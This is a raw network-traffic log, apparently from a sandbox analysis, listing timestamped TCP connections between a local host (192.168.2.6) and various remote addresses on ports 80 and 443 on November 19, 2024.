Nov 19, 2024 01:01:42.175487041 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:42.175565004 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:42.179171085 CET	443	49911	172.64.41.3	192.168.2.6
Nov 19, 2024 01:01:42.179497957 CET	49911	443	192.168.2.6	172.64.41.3
Nov 19, 2024 01:01:42.181642056 CET	443	49909	172.64.41.3	192.168.2.6
Nov 19, 2024 01:01:42.181777954 CET	49909	443	192.168.2.6	172.64.41.3
Nov 19, 2024 01:01:42.182640076 CET	49911	443	192.168.2.6	172.64.41.3
Nov 19, 2024 01:01:42.182657957 CET	443	49911	172.64.41.3	192.168.2.6
Nov 19, 2024 01:01:42.184410095 CET	443	49910	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:42.184454918 CET	443	49910	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:42.184626102 CET	49910	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:42.188569069 CET	49909	443	192.168.2.6	172.64.41.3
Nov 19, 2024 01:01:42.188581944 CET	443	49909	172.64.41.3	192.168.2.6
Nov 19, 2024 01:01:42.188757896 CET	49910	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:42.188765049 CET	443	49910	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:42.215818882 CET	443	49906	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.215848923 CET	443	49906	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.215909004 CET	443	49906	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.215989113 CET	49906	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.215989113 CET	49906	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.228080034 CET	49906	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.228080034 CET	49906	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.228101015 CET	443	49906	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.228110075 CET	443	49906	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.237761021 CET	49915	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.237787008 CET	443	49915	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.237845898 CET	49915	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.241242886 CET	49915	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.241255999 CET	443	49915	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.251063108 CET	443	49904	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.251096964 CET	443	49904	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.251133919 CET	443	49904	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.251173019 CET	49904	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.251661062 CET	49904	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.251661062 CET	49904	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.251673937 CET	443	49904	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.251682997 CET	443	49904	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.253851891 CET	443	49905	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.253989935 CET	443	49905	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.254162073 CET	49905	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.254504919 CET	443	49907	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.254529953 CET	443	49907	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.254561901 CET	443	49907	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.254589081 CET	49907	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.254622936 CET	49907	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.255906105 CET	49905	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.255914927 CET	443	49905	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.256254911 CET	49907	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.256254911 CET	49907	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.256259918 CET	443	49907	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.256274939 CET	443	49907	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.259037018 CET	443	49912	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.259447098 CET	49912	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.259462118 CET	443	49912	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.259725094 CET	443	49908	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.259861946 CET	443	49908	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.259962082 CET	49908	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.260436058 CET	443	49912	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.260488033 CET	49912	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.263211966 CET	49912	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.263277054 CET	443	49912	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.263943911 CET	49912	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.263955116 CET	443	49912	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.263961077 CET	49916	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.263998032 CET	443	49916	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.264831066 CET	49916	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.265283108 CET	49908	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.265292883 CET	443	49908	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.265305042 CET	49908	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.265309095 CET	443	49908	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.266619921 CET	49917	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.266634941 CET	443	49917	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.266746998 CET	49917	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.267188072 CET	49918	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.267196894 CET	443	49918	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.267239094 CET	49917	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.267247915 CET	49918	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.267251968 CET	443	49917	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.267357111 CET	49918	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.267369986 CET	443	49918	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.267436028 CET	49916	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.267443895 CET	443	49916	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.268579006 CET	49919	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.268589020 CET	443	49919	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.270030975 CET	49919	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.270184994 CET	49919	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.270199060 CET	443	49919	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.471360922 CET	443	49912	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.472250938 CET	49912	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.472278118 CET	49912	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.496284962 CET	49885	443	192.168.2.6	18.244.18.27
Nov 19, 2024 01:01:42.496356010 CET	443	49885	18.244.18.27	192.168.2.6
Nov 19, 2024 01:01:42.496402025 CET	49885	443	192.168.2.6	18.244.18.27
Nov 19, 2024 01:01:42.814397097 CET	49920	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:42.814439058 CET	443	49920	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:42.814536095 CET	49920	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:42.814841032 CET	49921	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:42.814878941 CET	443	49921	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:42.814946890 CET	49921	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:42.815241098 CET	49922	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:42.815251112 CET	443	49922	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:42.815463066 CET	49923	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:42.815475941 CET	49922	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:42.815480947 CET	443	49923	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:42.815582037 CET	49923	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:42.816086054 CET	49924	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:42.816122055 CET	443	49924	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:42.816282034 CET	49920	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:42.816299915 CET	443	49920	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:42.816303015 CET	49924	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:42.816637039 CET	49925	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:42.816668034 CET	443	49925	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:42.816732883 CET	49925	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:42.817106009 CET	49921	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:42.817135096 CET	443	49921	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:42.817390919 CET	49922	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:42.817401886 CET	443	49922	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:42.817653894 CET	49923	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:42.817667007 CET	443	49923	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:42.817724943 CET	49924	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:42.817739964 CET	443	49924	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:42.817810059 CET	49925	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:42.817826986 CET	443	49925	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.015387058 CET	443	49915	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.016799927 CET	49915	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.016824007 CET	443	49915	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.017335892 CET	49915	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.017340899 CET	443	49915	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.023231983 CET	443	49916	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.023844004 CET	49916	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.023880959 CET	443	49916	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.024223089 CET	443	49919	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.024422884 CET	49916	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.024435997 CET	443	49916	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.024813890 CET	49919	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.024822950 CET	443	49919	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.025197983 CET	49919	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.025202036 CET	443	49919	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.026325941 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.028800964 CET	443	49918	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.029155970 CET	49918	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.029196024 CET	443	49918	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.029571056 CET	49918	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.029584885 CET	443	49918	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.031519890 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.036844969 CET	443	49912	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.036866903 CET	443	49912	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.036880970 CET	443	49912	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.036946058 CET	49912	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.036964893 CET	443	49912	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.037012100 CET	49912	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.038739920 CET	443	49912	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.038757086 CET	443	49912	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.038817883 CET	49912	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.038832903 CET	443	49912	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.039349079 CET	49912	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.042665958 CET	443	49917	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.043910027 CET	49917	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.043920994 CET	443	49917	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.044640064 CET	49917	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.044644117 CET	443	49917	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.045803070 CET	49926	443	192.168.2.6	23.221.22.214
Nov 19, 2024 01:01:43.045820951 CET	443	49926	23.221.22.214	192.168.2.6
Nov 19, 2024 01:01:43.045883894 CET	49926	443	192.168.2.6	23.221.22.214
Nov 19, 2024 01:01:43.046107054 CET	49927	443	192.168.2.6	23.221.22.214
Nov 19, 2024 01:01:43.046130896 CET	443	49927	23.221.22.214	192.168.2.6
Nov 19, 2024 01:01:43.046171904 CET	49927	443	192.168.2.6	23.221.22.214
Nov 19, 2024 01:01:43.047424078 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:43.047454119 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:43.047525883 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:43.048154116 CET	49926	443	192.168.2.6	23.221.22.214
Nov 19, 2024 01:01:43.048166990 CET	443	49926	23.221.22.214	192.168.2.6
Nov 19, 2024 01:01:43.048630953 CET	49927	443	192.168.2.6	23.221.22.214
Nov 19, 2024 01:01:43.048655987 CET	443	49927	23.221.22.214	192.168.2.6
Nov 19, 2024 01:01:43.049465895 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:43.049482107 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:43.050154924 CET	49929	443	192.168.2.6	23.192.223.232
Nov 19, 2024 01:01:43.050169945 CET	443	49929	23.192.223.232	192.168.2.6
Nov 19, 2024 01:01:43.050237894 CET	49929	443	192.168.2.6	23.192.223.232
Nov 19, 2024 01:01:43.055196047 CET	49929	443	192.168.2.6	23.192.223.232
Nov 19, 2024 01:01:43.055207968 CET	443	49929	23.192.223.232	192.168.2.6
Nov 19, 2024 01:01:43.156282902 CET	443	49915	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.156541109 CET	443	49915	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.156558990 CET	443	49912	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.156588078 CET	443	49912	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.156594992 CET	49915	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.156632900 CET	49912	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.156646967 CET	443	49912	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.156670094 CET	49915	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.156672955 CET	49912	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.156677008 CET	443	49915	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.156688929 CET	49915	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.156692982 CET	443	49915	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.156697035 CET	49912	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.158020973 CET	443	49912	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.158040047 CET	443	49912	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.158082008 CET	49912	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.158088923 CET	443	49912	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.158102036 CET	443	49912	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.158126116 CET	49912	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.158143044 CET	49912	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.158148050 CET	443	49912	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.158193111 CET	443	49912	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.158232927 CET	49912	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.161907911 CET	49930	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.161930084 CET	443	49930	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.162019014 CET	49930	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.162652969 CET	49930	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.162667036 CET	443	49930	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.162830114 CET	443	49916	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.162894964 CET	443	49916	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.162924051 CET	443	49916	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.162977934 CET	49916	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.163397074 CET	49912	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.163404942 CET	443	49912	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.163418055 CET	443	49919	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.163577080 CET	443	49919	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.163780928 CET	49919	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.163913012 CET	49919	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.163921118 CET	443	49919	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.163932085 CET	49919	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.163935900 CET	443	49919	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.169230938 CET	49916	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.169250011 CET	443	49916	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.169274092 CET	49916	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.169279099 CET	443	49916	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.169931889 CET	443	49918	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.170277119 CET	443	49918	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.170337915 CET	49918	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.170895100 CET	49918	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.170898914 CET	443	49918	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.170912027 CET	49918	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.170914888 CET	443	49918	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.182709932 CET	49931	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.182717085 CET	443	49931	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.182780027 CET	49931	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.184216022 CET	49932	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.184245110 CET	443	49932	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.184298038 CET	49932	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.184986115 CET	49931	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.184993982 CET	443	49931	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.185096025 CET	49932	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.185108900 CET	443	49932	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.186448097 CET	443	49917	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.186537027 CET	443	49917	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.186631918 CET	49917	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.186932087 CET	49917	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.186932087 CET	49917	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.186940908 CET	443	49917	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.186948061 CET	443	49917	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.189966917 CET	49933	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.189981937 CET	443	49933	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.190068007 CET	49933	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.194191933 CET	49933	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.194202900 CET	443	49933	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.198376894 CET	49934	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.198405027 CET	443	49934	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.198462009 CET	49934	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.198940992 CET	49934	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.198952913 CET	443	49934	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.305741072 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.305768967 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.305784941 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.305874109 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.305890083 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.305905104 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.305911064 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.305927992 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.305943966 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.305959940 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.305978060 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.306046963 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.306535959 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.310041904 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.421267986 CET	443	49924	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.421798944 CET	443	49922	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.421807051 CET	443	49925	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.423002005 CET	49925	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:43.423012972 CET	443	49925	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.423104048 CET	49922	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:43.423130035 CET	443	49922	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.424089909 CET	443	49925	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.424237013 CET	49925	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:43.424299955 CET	443	49922	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.424349070 CET	49922	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:43.427773952 CET	49924	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:43.427798033 CET	443	49924	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.428658009 CET	443	49924	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.428721905 CET	49924	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:43.433705091 CET	49922	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:43.433810949 CET	443	49922	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.434025049 CET	443	49920	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.434072971 CET	49925	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:43.434139013 CET	443	49925	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.434484959 CET	49924	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:43.434559107 CET	443	49924	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.435060978 CET	49920	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:43.435067892 CET	443	49920	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.435369015 CET	443	49920	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.436430931 CET	49920	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:43.436482906 CET	443	49920	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.442718029 CET	443	49921	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.443501949 CET	443	49923	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.458988905 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.459062099 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.459073067 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.459110022 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.459119081 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.459146976 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.459157944 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.459192038 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.459271908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.459311008 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.459310055 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.459337950 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.459353924 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.459362030 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.459372044 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.459379911 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.459387064 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.459418058 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.460122108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.460139990 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.460156918 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.460164070 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.460175037 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.460185051 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.460205078 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.460216999 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.460777044 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.460803032 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.460815907 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.460820913 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.460844040 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.460853100 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.460860968 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.460876942 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.460901022 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.460911989 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.461659908 CET	80	49889	185.215.113.206	192.168.2.6
